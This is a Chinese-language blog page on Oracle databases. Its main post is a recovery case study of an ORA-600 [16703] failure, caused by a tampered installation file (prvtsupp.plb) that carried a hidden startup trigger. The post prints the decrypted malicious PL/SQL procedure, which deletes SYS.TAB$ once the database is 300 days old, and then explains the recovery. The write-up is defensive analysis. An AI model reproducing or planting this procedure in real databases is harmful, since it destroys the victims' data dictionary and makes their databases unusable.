123
 123

Tip: 看不到本站引用 Flickr 的图片? 下载 Firefox Access Flickr 插件 | AD: 订阅 DBA notes --

2018-07-30 Mon

11:02 数据恢复:被注入的软件及 ORA-600 16703 灾难的恢复 (13518 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

链接:http://www.enmotech.com/services/service.html

原文链接:http://www.enmotech.com/web/detail/1/521/1.html

最近帮助一个客户恢复数据库,遇到了如下这个问题。让我们再一次惊醒于数据安全,如果不做好防范,问题总是会来得猝不及防。

1.jpg

客户在尝试启动数据库时,是这样一个 ORA-600 错误映入眼帘,反复重试无法消除问题,历史备份,同样存在问题,客户毫无防范的,陷入一场数据库灾难:

SQL*Plus: Release 11.2.0.4.0 Production on Fri Jul 20 22:12:34 2018

Copyright (c) 1982, 2013, Oracle. All rights reserved.

Connected to an idle instance.

SQL> startup mount;

ORACLE instance started.

Database mounted.

SQL> alter database open;

alter database open

*

ERROR at line 1:

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

Process ID: 1236

Session ID: 1 Serial number: 5

按照我的思路,第一步是启用 10046 跟踪一下问题的出现位置:

3.jpg

从跟踪文件中,可以找到如下信息,最后执行的是 obj$ 的对象访问,绑定变量传入值是 20 ,

4.jpg

注意,最后出错前的递归查询,其 BINS # 605191324 事实上对应的就是 bootstrap$ 的 初始化过程:

PARSING IN CURSOR #605191324 len=188 dep=1 uid=0 oct=1 lid=0 tim=77597981 hv=4006182593 ad='23987650' sqlid='32r4f1brckzq1'

create table bootstrap$ (

END OF STMT

PARSE #605191324:c=0,e=372,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=77597979

EXEC #605191324:c=0,e=78,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,plh=0,tim=77598086

CLOSE #605191324:c=0,e=4,dep=1,type=0,tim=77598125

在这个递归过程中,取得所有引导数据库启动所需SQL,然后再顺序加载内容,完成内存初始化。

最后出现错误之处是 20 号对象,在数据库中是 ICOL$ 对象:

SQL> select object_name from dba_objects where object_id=20;

OBJECT_NAME

--------------------------------------------------------------

ICOL$

bootstrap$ 中,可以找到这条记录,在初始化这个对象的过程中,数据库在 TAB$ 中找不到这条记录,就出现了 16703 的错误:

CREATE TABLE ICOL$("OBJ#" NUMBER NOT NULL,"BO#" NUMBER NOT NULL,"COL#" NUMBER NOT NULL,"POS#" NUMBER NOT NULL,"SEGCOL#" NUMBER NOT NULL,"SEGCOLLENGTH" NUMBER NOT NULL,"OFFSET" NUMBER NOT NULL,"INTCOL#" NUMBER NOT NULL,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 20 TABNO 4) CLUSTER C_OBJ#(BO#)

在进程的转储文件中,也可以看懂对于 TAB$ 的递归访问,绑定变量是 20 :

5.jpg

再来看看 ORA-600 错误,几个参数含义如下:1403 指记录未发现;20 指对象号:

ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [],

[], [], [], [], [], []

$ oerr ora 1403

01403, 00000, "no data found"

// *Cause: No data was found from the objects.

// *Action: There was no data from the objects which may be due to end of fetch.

所以,现在问题很清楚了,是因为 20 号对象递归时找不到,这是被恶意删除了。

这就是此前曾经被披露的,数据库安装介质被注入的问题,惜分飞曾经记录过这个问题。

强烈警示在下载Oracle安装介质时,一定要从可靠来源下载,Oracle 官网是最佳途径。当从未知来源获得安装软件时,你就可能面临着注入风险。这一次的客户就是遭遇到了这个问题的威胁。

推荐阅读:防范攻击 加强管控 - 数据库安全的16条军规

在这个案例中,被注入的文件是:

$ORACLE_HOME/rdbms/admin/prvtsupp.plb

这个程序包文件最后被注入了一个触发器,这个启动触发器,当数据库启动之后被触发执行:

6.jpg

这个触发器执行的是前面的加密代码,存储过程,这个存储过程解密后的代码如下,其代码逻辑就是,判断数据库的创建时间大于 300 天,然后创建一个备份表,备份 tab$ 内容之后,清空 TAB$ 表。

此后,数据库当然就无法启动了:

PROCEDURE DBMS_SUPPORT_DBMONITORP IS

DATE1 INT :=10;

BEGIN

SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=300) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';

DELETE SYS.TAB$;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

END IF;

END;

所以我们再次提示大家:由于这个攻击,具有潜伏性,如果你是从网络下载了Oracle安装包,尤其是 11.2.0.4 版本,建议用户检查你的数据库,确保安全。

由于 Oracle 的 11.2.0.4 版本要从 MOS 上下载,需要具有Oracle的授权,所以很多非授权用户从其他来源下载,就面临了风险。

7.jpg

那么怎么解决这个问题呢?

其实也很简单,当删除了 TAB$ 表中的内容后,数据库是启动引导遇到故障,所以我们只要找到一个良好运行的同平台、同版本 SYSTEM 文件,将引导块全部复制回来,就可以启动数据库了,以下是我的恢复过程截取的一部分BLOCK:

8.jpg

而且,注意,这一次的黑客是很有分寸的,在删除之前备份了 TAB$ 的内容,所以只要启动数据库,从备份表中(ORACHK'||SUBSTR(SYS_GUID,10)||' )恢复 TAB$ 的内容,数据库就可以完美的修复回来。

这和 2016 年,比特币勒索事件不同,那个案例的代码是 Truncate 了用户数据表,处理起来难度更大,参考:知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

以下是整个恢复过程前台的最后两个阶段,当使用 bbed 复制修复后,启动数据库时,收到提示,要将数据库以 upgrade 模式启动,这是某个标志的影响:

SQL> startup

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

ORA-01092: ORACLE instance terminated. Disconnection forced

ORA-00704: bootstrap process failure

ORA-39700: database must be opened with UPGRADE option

Process ID: 1648

Session ID: 1 Serial number: 5

upgrade 模式启动,数据库成功完美打开:

SQL> startup upgrade;

ORACLE instance started.

Total System Global Area 531476480 bytes

Fixed Size 1406404 bytes

Variable Size 318769724 bytes

Database Buffers 205520896 bytes

Redo Buffers 5779456 bytes

Database mounted.

Database opened.

SQL> select * from dual;

D

-

X

最后总结一下,这个案例给我们的警示:

  1. 遵守规则和规范很重要,保护知识产权,规范部署,天然可以防范很多问题
  2. 深入学习、知识储备,是从容应对问题的根本之道,理解了原理,才能举重若轻,触类旁通;
  3. 只有按时备份还不够,定期验证检查非常重要
  4. 随时关注数据库中的特殊对象和变更,是非常重要的;

数据安全的关注,时刻不能停止!

相关文章|Related Articles

2018-07-27 Fri

12:05 从 Oracle 18.3 的 DAX 存储支持看 Redo 优化 (3960 Bytes) » Oracle Life

作者:eygle 发布在 eygle.com

2018年7月,Oracle Database 18c 的公众版本如其发布,当然事实上,此前的Exadata版本已经让很多技术爱好者尝到了鲜。

我们看看版本,18c 发布的第一个版本是 18.1.0 :

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.1.0.0.0

而现在发布的版本,演进到 18.3.0 :

[oracle@sdb0 ]$ sqlplus / as sysdba

SQL*Plus: Release 18.0.0.0.0 - Production on Wed Jul 25 21:18:09 2018

Version 18.3.0.0.0

SQL> select banner_full from v$version;

BANNER_FULL

--------------------------------------------------------------------------------

Oracle Database 18c Enterprise Edition Release 18.0.0.0.0 - Production

Version 18.3.0.0.0

对于Oracle数据库来说,非常重要的优化就是关于 Redo 日志的优化,如果你留意过,告警日志中记录了这样的新记录:

Redo log for group 1, sequence 1 is not located on DAX storage

Redo log for group 3, sequence 12 is not located on DAX storage

也就是数据库检查,Redo 日志没有位于 DAX 存储设备,也就是说,Oracle 支持将 Redo 放置于 Direct Access Storage (DAX) 上,更好的支持 NVRAM 等高速存储设备。

初始化参数中, _simulate_dax_storage 可以用于模拟 DAX 存储:

SQL> select ksppinm,ksppdesc from x$ksppi where ksppinm like '%dax%';

KSPPINM

--------------------------------------------------------------------------------

KSPPDESC

----------------------------------------------------------------------------------

_simulate_dax_storage

Simulate log on DAX storage

18.3 里的 redo on DAX 支持目前仅限于Exadata存储节点里的 NVRAM,对写日志做了基于RDMA的优化。

但真正可以将数据库文件放在NVRAM上的 Exadata 硬件现在还不存在,但是数据库软件已经先行做出了支持。

这意味着,在未来 Oracle 的Redo 性能又将获得大幅度的提升。

更详细的内容参考:

http://www.enmotech.com/web/detail/1/519/1.html

http://www.enmotech.com/services/service.html

相关文章|Related Articles